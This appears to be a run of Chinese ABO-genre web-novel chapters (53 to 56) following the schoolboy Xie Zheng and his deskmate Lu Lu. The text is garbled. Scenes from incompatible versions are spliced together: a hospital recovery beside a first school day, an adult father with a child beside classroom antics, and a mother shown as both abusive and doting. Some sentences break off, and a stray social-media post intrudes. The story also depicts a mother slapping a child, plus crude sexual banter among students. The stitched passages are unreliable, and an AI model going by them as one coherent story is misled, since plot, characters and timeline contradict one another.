路鹿奶奶则抓着谢铮的另一条手臂,两人都很用力,像是抓着救命稻草一样抓着他,谢铮的手臂传来疼痛感觉。 好半天后谢铮抬手抹了把眼睛。 “我操。”谢铮笑:“这臭小子还真是够牛逼的。” 第 53 章 第 53 章 第53章 路鹿是第三天转到普通病房的。 据娜塔莉所说,人造腺体已经开始缓缓运转,在路鹿体内分泌起再无法对免疫系统造成毒害的信息素。 转到普通病房的时候路鹿还没醒,但谢铮觉得这小子看起来是没之前那么苍白了。 各科医生围着路鹿做笔记,简直把路鹿当成活教材来参观。 英语课一般没什么惊喜,上课铃响没响对谢铮都没影响,他倚着墙玩手机,一边喝酸奶一边感受他同桌偶尔看过来的灼灼目光。 以前没觉得,今天这酸奶越喝越好喝,哎真好喝。 他们英语老师是个女性Alpha,性格直爽,进门看见一群病恹恹的学生先敲了敲讲台,“哎哎哎,我没看错时间吧,第二节 课怎么还困呢!” 有人有气无力地回答:“因为上节课是生物……” 没人敢在生物课睡觉,除非不想活了。 英语老师气笑了:“你们昨晚没睡觉吗?学校自习课都给你们留着呢,够写作业了吧,怎么还熬夜犯困呢,是打游戏浪费时间了还是搞早恋浪费时间了?来,谢铮,你和老师说说。” 这种老师突然天降正义,还降到班里特别牛逼的学生身上的情况,都有让学生们瞬间清醒并开始精神百倍地吃瓜的效果。 英语老师一句话全班同学跟通电了似的,齐刷刷转头看向靠门最后一排。 谢铮嘴里的酸奶都没来得及拿下来,手还点着手机屏幕,闻言愣了一下,举起手:“您继续,我就不继续了。” 班里一阵低低的笑。 谢铮说完拔掉耳机,把手机往桌堂里一塞,看向黑板,一脸的我是三好学生。 英语老师看向他的时候顺势看见了新来的转学生,“哎哟”了一声,笑着说:“是新转来的吧,看着就像个老实孩子。你跟谢铮坐一起可太养眼了,幸亏老李把你们俩放后面了,不然全班都不用听课,看你俩都看不够。” 谢铮瞥向旁边,路鹿冲英语老师笑了笑,那表情拿捏的,真是多一分谄媚少一分孤傲,正正好好的谦逊有礼。 明年高考北影不录你我第一个不同意。 “是叫路鹿吧,有什么不懂的随时来我办公室问我,谢铮知道我在哪儿,”英语老师说,“好了,上课!” “起立!” “老——师——好——” 英语老师讲课雷厉风行,快得你捡根笔的功夫直接窜到下下下道题,谢铮懒得听,也不能玩手机,无聊得要长毛了。 以前这种时候他都看着旁边的空桌椅发呆打发时间,现在也习惯性地看向路鹿的方向。 其实他只是想找个目标发呆,但他呆了会儿就不受控制地发现这人是真的没听课。 看着像聚精会神地看黑板,但以他同为学霸的经验,路鹿眼睛里没东西,走神呢,还走得挺远。 类似于他现在的行为,只不过路鹿找的发呆目标是黑板。 我就是想让你和你同桌好好相处,那是个好孩子…… 老李的话在脑海里闪过,谢铮觉得四舍五入他也算好孩子了。 多新鲜啊,韩主任知道了得感动得哭出来。 谢铮觉得他观察的挺隐蔽的,连头都没偏,谢光也是有一搭没一搭地落在路鹿身上,但落了几分钟之后路鹿忽然转过头,用眼神询问他怎么了。 这么敏锐……? “你是什么等级的alpha?”谢铮问。 话一出口他就意识到了这个问题问的不太合适,等级这种东西的私密性对Alpha来说可大可小,就像有的人不介意到处宣扬我18cm,有的人不愿意四处说我绣花针一样…… 他们俩这种认识几个小时的关系就问这个,怎么想都唐突了。 谢铮知道他这时候应该说一句“我开玩笑的你听课吧”转移话题,让彼此都少几分尴尬。 但他不想,哎嘿,爹就是想知道。 看着路鹿微微睁大的瑞凤眼谢铮咧嘴笑了,路鹿身上的血腥味现在一点都闻不到,但他有种直觉,那不是真血,是路鹿的信息素。 血腥味的信息素?太少见了。 他想确定一下。 至于路鹿会不会生气不在他考虑范围。 老李说的对,他不是没情商,他只是懒得用…… 你别嫌我说话直,我也不嫌你下手重——这就是谢铮的处事方式。 怎么开心怎么来,简单,且欠揍。 路鹿的反应有那么点儿在谢铮意料之中的意思,完全没表现出生气,脸上的笑依旧镶得严丝合缝,扫了眼他扔在桌面上的空酸奶袋儿,轻声说 “你猜。” 谢铮眯了眯眼睛。 人都这样,你越不告诉我我越想知道,逆反心理让他觉得心里有个小猫在挠似的,不弄明白了浑身难受。 他对自己一向很好,有什么想法直接去做,坚决不亏了自己的欲|望。 谢铮想了想,从兜里掏出仅剩的一块旺仔牛奶糖,放到路鹿桌子上,敲了敲,“说吧,倾家荡产了。” 路鹿拿过糖,仔细看了看才偏头看向他。 谢铮也看他。 过了会儿,谢铮靠过去,耳朵挨着他嘴,就听见这人用好听的嗓音说。 “等级是……” 谢铮竖起耳朵。 “王者二十六星,一局二十,可以带你,同桌打八折。” 卧——槽——? 谢铮强忍着没一巴掌把酸奶袋糊他脸上,深吸一口气,靠回自己的座位,皮笑肉不笑:“不了,家境贫寒,我比较喜欢自力更生。” 路鹿勾着唇角点头,一副我理解你的样子。 谢铮回以假笑。 这狗崽子要是好孩子他直播吃屎。 操。 短短一天时间谢铮就完成了对他同桌的3D印象重塑,从英语老师开始,每个进班的老师都要怼着路鹿那张笑脸夸个三两分钟,遇到脾气不好的还要拉踩他几句。 谢铮有种全世界只有我知道这是个什么鸟儿,但我说不出去的操蛋感觉。 一中作为重点高中也有晚自习,但很狂野地实行自愿制,放学铃一响走的和留下的差不多二比三。 谢铮就是那个“二”。 据传他们学校建校的时候特别穷,选的地理位置也不怎么样,在西远市最边上,处处彰显着城乡结合部的破败和不羁。 出校门三步,各种烤冷面、炸串、炒饭的小推车一辆接一辆往脸上怼,都不用提卫不卫生,光是浓郁的调料味和油烟味就让嗅觉灵敏的顶级Alpha眉头紧皱。 谢铮迈开长腿快步闯出了重灾区,把运动服拉链拉到下巴,黑色衣角衬得脸格外的白。 三月的北方还是冷,风吹得他脸疼,他拿出手机挑出首舒缓的纯音乐,边戴耳机边敲开微信未读消息。 折雨人:一个礼拜没粗线在你面前,有没有想我啊? 折雨人:妖娆.jpg 是个好人:想你想的心肝儿都碎了,乖儿明天早朝来吗? 是个好人:哎哟,好叼哦.jpg 折雨人:必须来啊!给父亲请安!顺便看看我母亲大人出现没有。 折雨人:用我的可爱眩晕你.jpg 谢铮笑了声:“这个傻逼。” 是个好人:来吧,爹给你准备了个惊喜。 折雨人:这事儿我知道,你是说那个转学生吧,听大羽说长得挺好是你同桌? 折雨人:哎?哎? 折雨人:人呢? 折雨人:这他妈不会是你给我的惊喜吧我的爹?回消息啊? 谢铮看着黑屏的手机,深深觉得这玩意就是个充电宝伴侣,一天都坚持不了,废物东西。 不过很多时候你必须允许废物存在,它就像是一个衬托你很有用、或者居然有人可以如此无用的标杆,给你的生活带来无限快乐。 比如谢成第小朋友。 谢铮推开家门,一眼看见自家倒霉弟弟正动作别扭地半蹲在门口换鞋呢,校服裤腿卷着,膝盖红肿一片,还沾着土粒儿,放学这么半天也没处理一下。 小瘸子腿本来就有毛病,真是雪上加霜。 摔成这样还要出门,当哥的能不心疼吗。 “哟,”谢铮低哑的嗓音都掩不住满满的笑意,伸手按住谢成第的脑袋,笑得眼睛都快闭上了,毫不留情地嘲笑,“这谁啊,这倒霉孩子谁啊,让人欺负成这样还还不了手的废物怎么进我们家门啊?没人管吗?有人吗?啊?” “你别碰我!”谢成第一巴掌打开他的手,像个受伤的小刺猬,红彤彤的眼睛瞪向他大哥,满是反感,“我不用你嫌弃!” “哦~”谢铮靠在门上,深以为然地点点头,伸出手对着他肩膀一戳差点给倒霉弟弟戳个跟头,“我也没说你用啊,怎么还生气了,是哥哥对你不好吗?” 谢成第今年10岁,营养不良让他比他哥矮了半米多,使出吃奶的劲儿也动不了谢铮一根汗毛,只能恶狠狠地瞪着他,咬牙切齿:“谢铮你真烦人!你比她都烦人!” 等他长大了也分化成Alpha,他一定要把谢铮和那个小崽子都踩在脚下! “对我评价这么高?好感动啊,”谢铮挑了挑眉,“今晚奖励你鬼故事吧,你想听午夜凶铃还是山村老尸?” 谢成第怕鬼,光听名字都怕的发抖,看着他哥脸上灿烂的笑容只觉得比电视里爬出来的恶鬼还吓人,鹿不上换鞋站起来就往自己卧室跑,好像身后跟着的是吃人的洪水猛兽。 “哎你跑什么,不喜欢哥给你讲别的,爱不爱听伽椰子啊?是个美女来的,喜欢从你被窝里爬出来。”洪水猛兽没有一点儿自觉地仗着腿长跟过去,谢成第一瘸一拐跑得狼狈不堪,谢铮闲庭信步跟的不紧不慢。 “啊——” 老妈突然推门出来,把谢成第撞飞了出去,谢铮及时伸手接住才没摔地上。 “毛毛躁躁!不是让你给元元买奶茶吗,怎么还没出去?你腿是瘸了还是断了!我在问你呢!问你呢!废物东西!” 家里的女主人一身不合季节的粉色丝质睡衣,和刚停暖气空气冰凉的家里格格不入,太过消瘦完全撑不起睡衣,像一副骨头架子支起来的皮。 瓜子脸瘦得眼眶凹陷,唇色青紫,面目扭曲地盯着二儿子的脸,一巴掌扇了过去,“废物东西!你是不是不想买?是不是不想给元元喝!” 无论心里有多恨她,多想让她消失,在面对发怒的老妈时谢成第还是动都不敢动一下,只能睁大眼睛,惊恐地看着那双手一点点逼近,仿佛疼痛和教训提前来袭,让他疼得直抖。 恐惧深刻在幼小的心灵里,这辈子都摘不掉抹不去。 一只更大的手抓住了他的衣领,像个英雄,猛地拽过他,带他脱离了恐惧的泥沼。 他后背撞在大哥谢铮的腿上,磕得有点疼。 谢成第咬咬牙,微微挪开后背,在心底否认。 谢铮总是这么没轻没重,没有英雄长他这样。 “我们元元想喝奶茶了?”谢铮一手按着谢成第的脑袋,一手挡住老妈的巴掌,手背霎时红了一片,他冲着老妈笑,眼底闪着戏谑的光。 “大哥给买呀,他二哥那个小瘸腿等买回来都凉了,放心,大哥肯定不投毒,元元长命百岁,绝对不会像那个人一样……对吧老妈?” 他话音落下,谢成第又开始抖。 哪有这么作死的英雄! 老妈的脸色从红到紫再到白,最后硬生生地收回了手,嗓音是尖利后的沙哑,带着掩饰不住的颓靡和憎恶:“元元想喝东川街新开的那家店的奶茶,快点儿买回来。” “哦,这个不保证,”谢铮脱下书包挂在谢成第脖子上,拍了拍他煞白的小脸儿,“放我屋里。” 说完不管老妈难看的脸色,径直出了门- 路鹿微博 [发布于十天前] @Deer:噢耶! 第 54 章 第 54 章 第54章 回去的路上谢铮拐了一趟商场。 路鹿要求的。 他这段时间吃的都是汤汤水水,格外馋垃圾食品,但真的到了商场之后却直奔玩具区。 路鹿捏着一个会嘎嘎叫的玩具:“谢叔叔,你觉得小迹会不会喜欢这个?” 谢铮:“谢迹什么都喜欢。” 谢铮点头,孙志……孙子……好名字。 外面的仨人没等到老师,没一会儿就走了。 刚才听得太入神,谢铮一偏头才注意到路鹿的目光。 “你再这么赤|裸地看着我我会觉得你想成为我这个月的八百分之一。”谢铮说。 路鹿收拾好碘酒棉签,“很明显?” 谢铮站起来,照了照镜子,脸上的伤依旧帅气逼人,没有乱七八糟五颜六色的碘伏,路鹿是个手艺人。 “你是不是想问,是什么让我这个从来不听课的人身负重伤还来上学?”谢铮问。 “是。”路鹿一点也没犹豫。 谢铮指了指右边腰侧,说:“不是水果刀,是剪刀,也没捅,就豁了个口子,缝了六针。” 过了会儿,谢铮补了一句:“我妈误伤的。” 路鹿开门的动作一顿。 谢铮要的就是这种效果,嘴角咧开,笑得无所谓:“不是误伤的话,就扎这儿了。” 他指了指心脏。 空气因为这一句话凝固,路鹿看着他,眼神里的东西沉着,不知道在想什么。 谢铮后知后觉他说多了,啧了声,净鹿着爽了。 “我就是吹个牛逼,这位好孩子,你不用这么一往情深地看着我,”谢铮边搓胳膊边往外走,“没钱包养你,我压力好大啊。” 路鹿也意识到自己的失态 ,眼底的东西很快隐下去,笑了声,跟在后面:“我以为你会逃课。” “我倒是想,”谢铮说,“可惜下节是生物课,谁逃谁傻逼,好孩子,你要当傻逼吗?” “算了,没有那个天分。”路鹿说。 “别这么自卑,”谢铮拍了拍他肩膀,真诚地说:“你有。” 在医务室听了半天墙角,又多说好几句骚话,谢铮跟路鹿最后仗着腿长一路狂奔才踩着上课铃进的班。 生物老师只比他俩晚了五秒钟到达战场。 谢铮喘着气坐到座位上,刚要喝口水缓缓,手机亮了。 折雨人:才回来?有奸情!我就晚上学一天,你就有了外遇? 折雨人:小丑竟是我自己.jpg 谢铮趴在桌子上打字。 是个好人:红药水忘买了。 是个好人:成年人除了疲惫还剩下什么.jpg 折雨人:卧槽一中午的时间净抓紧时间做了吧!话说满打满算你也就半个小时的时间,半个小时就射了?你行不行啊? 折雨人:或者你牺牲自我,他行不行啊? 谢铮扫了眼认真假装认真听课的某人,打字。 是个好人:做你大爷,射你一嘴。 是个好人:我是你爹我是你爹over.jpg 周折雨下雨似的又逼逼赖赖了十多条,还有刷屏的趋势,谢铮锁上手机,无情地推开了十八年的糟糠之妻。 生物老师脾气爆,但讲课跟念经似的,谢铮听得直困,趴在桌子上发呆。 他中午没吃饭,现在胃里饿得烧得慌。 Alpha灵敏的嗅觉让他不得不把目光放到眼前的毛巾卷上。 他现在很困,不想罚站,只能低调地拿到桌子底下埋脑袋吃。 对于一个刚成年的Alpha来说,这玩意相当不顶饿,谢铮三两口吃完,抹了抹嘴,反而觉得更饿了。 他偏头,盯上了路鹿那盒。 路鹿中午说都给他,但他也不好白要。 他想了想,用膝盖撞了撞路鹿膝盖,压低声音说:“买你一盒毛巾卷。” 路鹿看了他一眼,直接伸手拿出来,递给他,也小声问:“饿了?” 谢铮眼珠子都绿了,点头,扯开包装刚要吃的时候顿了顿,难得有良心地问了句:“你先吃一口?” “不用,你吃吧。”路鹿说。 谢铮看着手里巴掌大的小玩意儿,觉得他俩就像饥荒年代相依为命马上就要饿死的两兄弟,为最后一口干粮互相谦让,努力把生的希望留给对方…… 可惜谢铮没有多愁善感的细胞,一点也不感动,甚至觉得有点渴。“有水吗?” 路鹿从桌堂里拿出一个半透明黑色玻璃杯,问他:“介意么?” “可介意了,我喝完你再喝你怀孕了怎么办。”谢铮边说边拿过来拧开,不碰杯口隔空喝了一口。? 谢铮往里看了看,里面居然是茶,什么茶他喝不出来,但不苦,还挺香的。 养生波y啊。 “放的什么茶?”他问。 “红茶。”路鹿说。 吃人俩毛巾卷加一瓶矿泉水,最后还让人怀了个孕,谢铮觉得不是那么回事儿,忒不要脸了,虽然他压根没有脸。 他从兜里摸了半天,又翻了翻书包,最后终于从桌堂角落里找到一粒旺仔牛奶糖,放到路鹿桌子上。 “这一顿找,我以为你丢钱了呢,”路鹿笑了一声,拿起糖揣进兜里,“又倾家荡产了吧。” 谢铮往嘴里送了口蛋糕,点头,刚要说话。 一粒粉笔头力度角度全方位刁钻地突然飞了过来。 两个顶A同时皱眉,动作频率完全一致地偏头躲过,粉笔头砸在最后排的墙上,留下一点白痕。 生物老师今天画了美美的妆,但依旧不耽误她怒吼:“谢铮!” 谢铮放下蛋糕盒,举手:“在!” “你有完没完?你自己不听课上课吃东西就算了,你还非得喂路鹿一口?我以前怎么没发现你这么友爱呢!” 谢铮冤死了,一脸莫名其妙地说:“报告老师,我没喂他。” “你是没喂吗?那是人路鹿不让你喂!”生物老师说。 谢铮:“哈?” “你现在是越来越猖狂了,是咱班Omega不够漂亮吗,你闲的撩你同桌?” “哎呦喂,”谢铮让她说乐了,这得是什么想象力,当生物老师可真不容易,他不正经地往椅背上一靠,笑着说:“老师,我真的,真的,真的,没想喂他,我只想吃独食。还有,咱班Omega都漂亮,超级漂亮。” 班里一阵起哄,周折雨在靠窗倒数第二排看热闹不嫌事大地喊:“什么叫都超级漂亮,有没有哪个在我们铮哥眼里最漂亮啊?” 谢铮听完特认真地开始扫视全班,视线所过之处Omega们相继脸红,无一幸免。 虽然谢铮在学校的表现确实比较变幻莫测,让人没安全感,但架不住真的帅。 这个年纪,“特别”容易被孤立,但是“特别好看”不会。 生物老师又是一个粉笔头,打断谢铮翻牌子似的行为:“给你点脸你就要上房顶!拿着你那个破蛋糕滚出去吃,别影响路鹿学习。” 谢铮听见了天大的笑话,偏头指着自己同桌:“他学习?”他连课都不听学个瘠|薄|习。 生物老师瞪他:“不然你学?” 看他一脸不服气生物老师又问路鹿:“路鹿,你和老师说讲到第几题了?” 路鹿淡定地笑:“第三页第六题第二个问。” 生物老师满意点头。 谢铮服了,别以为他没看见钱小羽递过来的纸条,生物老师还有选择性失明呢,这都什么时候患的病啊,瞒着他偷偷治疗呢是吗。 生物老师催他:“别耽误大家时间,以前让出去就出去,现在是舍不得路鹿还是怎么的了?” 谢铮觉得生物老师肯定没谈过早恋,这种时候老师不能带头起哄,这个年龄的学生就怕顶着说,你说一句成一对儿,本来人还没那个意思,你一强调,就发现对方原来和自己这么般配啊!早恋就这么开始了。 “哎哟,您可别说了,”谢铮站起来,“我俩本来不想公开的,这下好了,瞒不住了,我们两口子就不耽误你讲课了。” 说完拉住路鹿胳膊就往外走。 路鹿没反抗,生物老师先急了:“谢铮!我让你自己出去!” “我哪舍得把他一个人留在教室,”谢铮逼真地叹气,“宁拆一座庙不拆一桩婚,您就成全我俩吧。” 说完推着路鹿肩膀往外走,缺德地小声笑:“同甘共苦啊同桌” 路鹿弯着唇角看了他一眼,没说话。 走廊里凉风嗖嗖的,他们俩靠墙站着,变成高二十六班最亮丽的一道风景线。 “你这属不属于恩将仇报?”路鹿看着他手里的毛巾卷,“良心疼不疼?” “良心?多少钱一斤?批发吗?”谢铮吃了口蛋糕,哎真甜。 罚站就是能多一个是一个的群体性活动,缺不缺德另说,老传统不能丢了。 路鹿笑着摇摇头,没说话。 谢铮三两口吃完,揉了揉头发,转身就走。 “去哪儿?”路鹿问。 “溜达,真站一节课谁受得了。”谢铮说。 “把我带出来陪你,然后你走了让我一个人罚站?”路鹿挑眉。 “怎么能这么说,看——”谢铮指了指窗外,一本正经地扯王八犊子,“一中校园多美丽,你在教室里也不听课,我带你这个没见过什么世面的好孩子出来看美丽,你不说感谢两句,怎么还怪我呢。” “我真诚地谢谢你,”路鹿眯了眯眼睛,靠着墙,视线落在窗外,“不过……你确定要把我一个人扔在这儿自己去找美丽?” 谢铮耸肩,笑的特别缺德:“不好意思啊同桌,我没有和别人分享美丽的习惯。” 路鹿转头,看着他眼睛,扬唇一笑,微微挑眉:“确定?” “你要干什么?”谢铮忽然有种不祥的预感,往回走,“好孩子你冷静点儿,我——” 路鹿特别冷静地和他比了个V,然后用那副巨几把好听的嗓子喊:“老师谢铮逃课!” 谢铮脚步一顿,难以置信地瞪着这个王八犊子:“我操路鹿你真可以啊!” 路鹿手上的V变成心,笑得温柔:“彼此彼此。” 生物老师大步冲出来,出离愤怒,指着谢铮:“滚去办公室找李诠仁!再敢逃课你就完了!我没和你开玩笑!” 谢铮假笑:“我也知道你从不开玩笑。” 所以每次他临下课都会回来,省的生物老师找不到人。 路鹿他妈的真的可以。 谢铮怔神:“……嗯?” 路鹿就又问了一遍。 谢铮这回倒是听清了,他搂着路鹿的脖子,很响亮地在他脸上亲一口,笑:“猜猜?” 路鹿:“……” 他咬着嘴唇,使劲往前顶一下,觉得自己简直快被谢铮给钓死了。 第 55 章 第 55 章 第55章 第二天一早谢铮神清气爽地对着镜子打领带。 镜子角落有影子晃动,谢铮抬眼一看,发现是谢迹,小小一团用力地推门,探头进来。 两人目光在镜子里对上,谢迹一双大眼睛弯起来:“爸爸!” 谢铮看着谢迹的穿搭,嘴角抽搐两下。 昨天在谢迹睡前,路鹿答应过他,明天爸爸和爸爸会久违地一起送他去托育班。 “盯着我发什么呆呢,该回神了。”路鹿眼里带了点探究的意味,伸出手在他面前晃了晃,语气温柔。 “没什么。”一把拍开对方的爪子,谢铮去验收成果了。 一个方方正正的豆腐映入眼帘,被单不仅仅被套好了,还帮他叠成了豆腐块,整齐又顺眼。 啧啧,不得不说,这家伙还是有点贤妻良母的技能在身上的。 为了表示感谢,谢铮主动提出请他吃饭。 毕竟拿人手短,吃人嘴软,为了面子得还这个人情。 竟然是请客,去食堂的话也太没诚意了,刚好学校东门那边有一条小吃街,他便提议去那边。 路鹿当然没什么意见,左右都是吃,能填饱肚子就行。 烧烤摊、香酱饼、螺蛳粉、火锅店……从街头走向街尾,各种各样的美食可谓是应有尽有。 谢铮双手往裤兜里一揣,用下巴指了指前面,狭长的凤眼里尽是傲娇,“你想吃什么随便挑,我有的是钱。” 他当然知道谢铮有钱,但他也没打算大宰他一笔,随手指了一家,“那就小龙虾吧,挺久没吃了。” “行。” 他俩穿过马路,走进一家人气看起来还算不错的小龙虾馆,谢铮把菜单推给他,“你来点吧,我去拿瓶可乐。” 接过菜单,路鹿看都没怎么看就直接点了一盘麻辣小龙虾跟蒜香小龙虾,怕谢铮吃着有点腻,还点了一盘凉拌小青瓜。 谢铮刚在门口的冰柜里拿出两支可乐,正准备回去时迎面碰上了一群人,为首的正是他的初中同学杨杰。 这人一直跟他不对付,总喜欢在暗地里做些上不得台面的小动作,后来谢铮忍无可忍,直接把这事告诉了爸妈,家长出面调查确认了之后就跟学校那边投诉了。 迫于压力,杨杰转校了,如果不是今天看到他,谢铮都快从脑海里遗忘了这垃圾。 “哟,看看这是谁呀,这不是咱们谢大少爷吗,怎么来这小馆子吃饭了?” 熟悉的语气,熟悉的腔调,瞬间引起了谢铮的厌恶感,让他下意识的皱了眉,不耐烦的掏了掏耳朵,“狗叫什么,别扰了我耳朵的情静。” “你!我告诉你,之前那事老子跟你没完!” 然而谢铮只是轻飘飘的一句哦,转身就想走。 扬杰落不下这个面子,脸色瞬间变得阴沉,扭头对着身后的人说道,“兄弟们,让他见识见识一下我们的厉害!” 几个人活动活动筋骨,不怀好意的看着他。 啧,麻烦。 “您这信息素紊乱在我们当今医疗界中最难解决的,想要治好也是相当的难。”医生委婉的告诉他。 只是需要一个Alpha咬一口就行了,应该……没什么大不了……个屁。 标记这种东西非常亲密,一旦被标记上,就相当于像别人宣誓着他是属于对方的人。 别说这个过程会产生非常严重的排斥现象,光是闻到信息素就想跟对方干一架,反正谁也看不上谁。 他想了想,在心中衡量找Alpha还是一直用药物压制着哪个效果会好点,反正现在还是初期症状,能用很长一段时间药物。 谢铮眸子微微动了一下,他颤音声音问道,“那我现在的病应该没那么严重吧,至少应该还没到晚期?” 医生点了点头,“是的,但是你腺体的变异非常大,我也拿不准,最好是定期过来检查。还有,你的信息素一直以来都压抑了很久,等到你易感期的时候就会很难受的,你得注意一下。” Alpha一般都是四个月来一次,算算时间,他也快了,尤其是他这种顶级Alpha,易感期都是非常危险又暴躁,破坏力极强,到时候他肯定得请假回家休息。 回想起之前难受的样子,谢铮只觉得自己上辈子犯了什么错,非得这样折磨自己。 回去的路上,他还在想怎么跟路鹿开口,实在不行就找其他人,签个保密协议,不说出去就行了。 回到家时,谢女士才刚起床,正在厨房里亲自下厨,此时她刚煮着一锅饺子。 听见客厅那边的声音,她把火关小了,探出头来看了看,有些好奇,“你怎么起的比我还早,你还出去了。” 谢铮随便附和着,“嗯,出去办点事。” “我的饺子快煮好了,你过来帮我端出去。”谢女士也懒得自己动手了,就开始指使这个免费劳动力。 “你怎么不叫阿姨帮你做早饭,你就不怕又伤着自己?” 上次谢女士切菜不小心切到自己手指的那一幕他到现在都还记忆犹新,她手指上的疤就是最好的证明。 她往碟子里调着蘸料,闻言歪了歪头思考了一下,随后又十分心大的笑着说,“怕呀,但是我更喜欢吃自己动手做出来的美食,不管好不好吃,那种成就感都会让我开心好一阵子。” 谢铮回到餐桌,接过她递过来的蘸料,边拿筷子边说,“那你以后注意点,我怕你又伤了自己,到时候老爸又得念叨你好几天。” 谢女士蘸了一个饺子,咬了一小口,觉得酱油太咸了,又叫阿姨泡了一壶茶过来这才满意。 “你没有跟路鹿打起来吧?就开学那天的时候。”哪怕是回到家的那天问过了,可谢女士总感觉他俩会在学校闹起来。 尤其是谢铮的高傲的脾气,估计这俩人没少掐。 他刚咽下一口饺子,悻悻的笑了笑。 还真的是被她猜对了,他俩不仅开学第一天就打架了,而且还被教导主任抓到,在宿舍楼下罚站晒太阳呢。 也算是在学校出名了。 见自己儿子这副样子,谢女士用脚趾头想都能猜到,这俩人肯定在开学第一天闹了事。 她来想去,最终还是轻声对他说,“你为什么会这么讨厌小鹿,他一直以来都充当着哥哥的角色照顾你,但你俩为什么老是掐架我就是搞不明白。” 谢铮翻了个白眼,你是没见过他背地里的是怎么欺负自己的,这狗玩意儿时不时给自己找点麻烦事做,天天把自己的心窝子里捅刀。 明明之前骨折请假在家修养一个月,课都没来上过,结果一回到学校就考了个第一,让谢铮又退回到万年老二的位子上。 想到这他就恨得牙痒痒的。 靠…… 这人真的是什么都能压自己一头,从小到大都是这样。 谢女士还想说些什么,当时话又到舌头里又咽了下去,转而说:“他没你想的那么坏,要是你多注意的话,肯定就能发现他的好心了。” 谢铮听得满脸黑线。 谢铮抬手抹了把脸,一脸挑衅,“老子就是今天折在这里,也要让你们吃不了兜着走。” 其余人蠢蠢欲动,纷纷在旁边抓上称手的东西想轮上去。 突然就在一瞬间,铺天盖地的龙舌兰信息素悄然落下,将那些杂七杂八的信息素全部驱赶了,只剩下霸道又浓烈的酒精。 霸道的龙舌兰压的其他信息素连反抗的机会都没有,只能乖乖臣服。 ——来自顶级酒精类信息素的绝对压制。 就在刚才还气势汹汹的Alpha们瞬间就泄了气,脸色惨白如纸,如果不扶着墙壁就站不稳,有些承受能力差的直接跪倒在地上,捂着胸口在那苟延残喘。 然而处于酒精风暴中心的谢铮并没有感到不适,后颈腺体的刺痛慢慢消退了,整个人舒服了许多。 他此时此刻只有一种感觉:老子又活过来了。 他看了一眼匆匆来迟的某人,挑眉道,“你先收一收信息素,这公共场合还有 Omega,别浪。” 路鹿:…… 得,早知道不帮了,让你一个人孤军奋战吧。 收起了信息素,路鹿慢吞吞的来到那帮人为首的头目旁边,蹲下,声音很低,却无不透露着薄凉。 “他顾忌着公共场合有其他人在,不然用信息素放倒你们是分分钟的事。”他冷笑了一下,“当然,敢伤他,我会让你们吃不了兜着走的,我已经报警了,在公共场合公然释放信息素,寻衅滋事,就先去局子里蹲几天吧。” 路鹿收回视线起身,没再留给他们一个眼神,缓缓向谢铮走去,“我们走吧,小龙虾早就端上桌,再不吃口感就不鲜了。” 某人的胃十分挑剔,难搞的很。 回到餐桌上,谢铮看着面前红彤彤的小龙虾难得来了兴致,兴奋的搓了搓手,“你怎么知道我喜欢吃蒜香小龙虾?” 路鹿手上剥着小龙虾,眼都没抬,“也不看看你那刁钻的胃,有时候你家没人都是我在伺候你。” 谢铮讪讪的笑了一下,“那还真是辛苦你了。” “嗯,身为你爸,这是我应有的职责。” 谢铮:…… 果然,狗嘴里是吐不出象牙的。 看在你刚刚帮了我的份上,懒得跟你计较那么多,对他翻了个白眼,谢铮吃起了面前的小龙虾。 不得不说,这家店的小龙虾还挺好吃的,肉质嫩滑,它虽然鲜香,但那种海鲜的腥味并不浓,反而恰到好处,给人一种味蕾上的路宴。 吃得谢铮下意识的眯了眯眼睛,一脸满足。 坐在对面的路鹿慢吞吞的剥着,时不时抬眼看下对面的人。这不,刚抬眸便被抓包了。 谢铮一脸疑惑,指了指自己的脸,不解道:“怎么?我的脸比这小龙虾还下饭?” 路鹿瞬间乐了,“这倒是真的。” 路鹿猛地站起,椅子腿摩擦着地面发出一声刺耳的“滋——”声。然后他又坐下,下一秒又站起身,活像谢迹最近爱玩的弹力圈,压下去能弹飞起来的那种。 路鹿伸手握着谢铮的手,几乎是有点急切:“因为我认准了你,我还喜欢你,我就是觉得你哪儿哪儿都好。” 他说:“因为我想和你一直在一起,因为我特别特别爱你,谢铮。” 第 56 章 第 56 章 第56章 突然被路鹿叫大名,谢铮很想弹他一下,骂他没大没小。 但谢铮没这么做,也没说话,他的目光定在路鹿通红的耳朵上。 爱。爱是什么? 谢铮相信米团和谢迹爱他,因为他们的世界很小很小,小到只有他。 路鹿的世界很大,前途可观,有很多个两年。 “拿手机干什么?”路鹿看他。 “你洗澡的时候不听歌么?”谢铮推开浴室门,很好,谢成第小朋友还没洗,里面干干净净,没有泡沫,“一个人洗澡,只有你,和水,寂寞如雪。” “可是现在是两个人。”路鹿带上门,冲他比了个“二”。 “对啊,”谢铮脱裤子的动作停住,瞪着他,“那你怎么不早说。” “早说。”路鹿淡定地脱掉裤子。 “我他——”谢铮眼神扫过路鹿,顿时哇哦了一声,吹了个不正经的口哨。 怪不得自信,有本钱啊。 “你是打算再把手机送出去么?”路鹿拍开水,试了试水温。 “没。”谢铮脱掉裤子,对于和一个没认识几天的人坦诚相见这种事完全没有负担,毕竟本钱不只路鹿有。 他避开飞溅的水,扒拉歌单,“你想听什么。” “不想和我说话啊?”路鹿手指插进头发里,往后梳了梳,水流划过英挺的鼻梁滴在嘴唇上,泛着粉,闻言看向他,眼神在水雾下迷离不清,“还要听歌。” “过年知道么,电视开着,你看吗?”谢铮挑了首经典曲目。 无论你朝见夜间都不够~留在瞭望台望清楚感受~ “不看,”路鹿看着一排洗发水,三个牌子的,“哪个是你的?” “左边那个,”谢铮把手机放好,伸出五个手指头,“我数五个数。” “洗不完。” “操。” 路鹿侧身对着谢铮,按了泵洗发水,闭着眼睛洗头发,颀长的身体打下一片阴影。 谢铮站在一边,发现自己这个一起洗的主意也不怎么样,他就是从在外面等着变成了从浴室里等着,看得着洗不着。 更亏了。 不能亏,得找回来点儿。 仗着路鹿闭着眼睛,谢铮目光放肆地落在他身上,为了看清楚正面还特别不要脸地侧身弯腰看了看。 路鹿也白,谢铮怀着科研精神顺便对比了一下,他们俩肤色差不多,都是冷白。 不一样的是路鹿平时笑得非常逼真,眼睛一弯给人暖和亲近的错觉,他就没有,因为太白还总被周折雨说:你脸一点血色都没有,像被妖女吸了精气的魔教中人,要不是这一身操天的气势和身材,我绝对怀疑你在宫里干过。 谢铮专业地双手抱胸继续审视。 路鹿嘴唇有点好看啊,看着薄,实际应该挺软的,唇角应该是天生上翘,干什么都笑眯眯的,嘴唇平时就有点粉,热气一蒸更红了,跟果冻似的。 这要是咬一口得疼哭了吧。 